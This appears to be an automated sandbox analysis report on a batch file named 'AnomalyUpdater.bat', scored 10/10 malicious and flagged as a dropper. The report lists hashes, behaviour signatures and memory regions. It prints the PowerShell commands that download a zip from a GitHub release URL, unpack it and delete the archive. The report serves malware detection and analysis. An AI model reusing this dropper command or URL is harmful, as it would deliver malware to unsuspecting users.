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Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27/02/2024, 21:54

General

  • Target

    OpenBullet-Anomaly-main/AnomalyUpdater.bat

  • Size

    1KB

  • MD5

    41a80a691d9f594e851c23ed0b480aff

  • SHA1

    16418323182ec7cff740134cf65857dcfb023eb1

  • SHA256

    93275ad49c569fb8daef227bd5b2a8fd450e69a02702b0d2efa3f1d1d6e4f4b5

  • SHA512

    41b8db5a4ba8c93c9b164161b681f4329c6344a0644cf136c87c4493e094ba6d35141e5510ad76d5336b9cd006c8414a0fb75f94bab050acec08591697f5dad9

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/OpenBulletAnomaly/OpenBullet-Anomaly/releases/download/1.4.5/OpenBullet-v1.4.5.zip

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\OpenBullet-Anomaly-main\AnomalyUpdater.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4780
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell (New-Object System.Net.WebClient).Downloadfile('https://github.com/OpenBulletAnomaly/OpenBullet-Anomaly/releases/download/1.4.5/OpenBullet-v1.4.5.zip', 'OpenBullet-v1.4.5.zip')
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4848
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe Expand-Archive -Path OpenBullet-v1.4.5.zip -DestinationPath OpenBullet-1.4.5 -Force
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2084
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Remove-Item -Path OpenBullet-v1.4.5.zip -Force
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4684

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    2f57fde6b33e89a63cf0dfdd6e60a351

    SHA1

    445bf1b07223a04f8a159581a3d37d630273010f

    SHA256

    3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

    SHA512

    42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    8d9203687bea06f8b8f3fce37b736721

    SHA1

    a120c7b4d2176b2c0aa77de333c895460b8b8ecf

    SHA256

    5dd4d2136f9a1360718f4a7fc3b04975698888311ebb3904d33654add9f35427

    SHA512

    2c47e8bb644616c42a4db97496cbc2ddc49114a12f4b020a5c74d8494da27eef812b485ee8786233b34067c01bd576630bd702182f1ef53d4b275e61f18f8ea7

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    0f6a3762a04bbb03336fb66a040afb97

    SHA1

    0a0495c79f3c8f4cb349d82870ad9f98fbbaac74

    SHA256

    36e2fac0ab8aee32e193491c5d3df9374205e328a74de5648e7677eae7e1b383

    SHA512

    cc9ebc020ec18013f8ab4d6ca5a626d54db84f8dc2d97e538e33bb9a673344a670a2580346775012c85f204472f7f4dd25a34e59f1b827642a21db3325424b69

  • C:\Users\Admin\AppData\Local\Temp\OpenBullet-Anomaly-main\OpenBullet-v1.4.5.zip

    Filesize

    25.1MB

    MD5

    6d0250817d4bbf90e0848fcbf614facd

    SHA1

    3f208b85f0af1bb57b8f0eea0d791b560194fc4e

    SHA256

    7906a5cace1786fda3f361214eec9b43122d0eaeaf58aa1f47db60d04414a3f0

    SHA512

    ab08371a2037454d80641885df8d8e48ad1d7c015bdc111ed5f9ec56a019713e7725aa24d02b6d0b6ed80d365924f041eb07c99b1a3c0a63cf82eb430bf3f853

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jjclkqhe.b1n.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/2084-148-0x00007FF9C7C00000-0x00007FF9C86C1000-memory.dmp

    Filesize

    10.8MB

  • memory/2084-32-0x0000023A6C350000-0x0000023A6C362000-memory.dmp

    Filesize

    72KB

  • memory/2084-18-0x00007FF9C7C00000-0x00007FF9C86C1000-memory.dmp

    Filesize

    10.8MB

  • memory/2084-19-0x0000023A6B8F0000-0x0000023A6B900000-memory.dmp

    Filesize

    64KB

  • memory/2084-20-0x0000023A6B8F0000-0x0000023A6B900000-memory.dmp

    Filesize

    64KB

  • memory/2084-33-0x0000023A6BB00000-0x0000023A6BB0A000-memory.dmp

    Filesize

    40KB

  • memory/2084-31-0x0000023A6B8F0000-0x0000023A6B900000-memory.dmp

    Filesize

    64KB

  • memory/4684-149-0x00007FF9C7C00000-0x00007FF9C86C1000-memory.dmp

    Filesize

    10.8MB

  • memory/4684-150-0x00000159B3F10000-0x00000159B3F20000-memory.dmp

    Filesize

    64KB

  • memory/4684-160-0x00000159B3F10000-0x00000159B3F20000-memory.dmp

    Filesize

    64KB

  • memory/4684-163-0x00007FF9C7C00000-0x00007FF9C86C1000-memory.dmp

    Filesize

    10.8MB

  • memory/4848-16-0x00007FF9C7C00000-0x00007FF9C86C1000-memory.dmp

    Filesize

    10.8MB

  • memory/4848-12-0x0000018F245A0000-0x0000018F245B0000-memory.dmp

    Filesize

    64KB

  • memory/4848-11-0x0000018F245A0000-0x0000018F245B0000-memory.dmp

    Filesize

    64KB

  • memory/4848-0-0x0000018F244E0000-0x0000018F24502000-memory.dmp

    Filesize

    136KB

  • memory/4848-10-0x00007FF9C7C00000-0x00007FF9C86C1000-memory.dmp

    Filesize

    10.8MB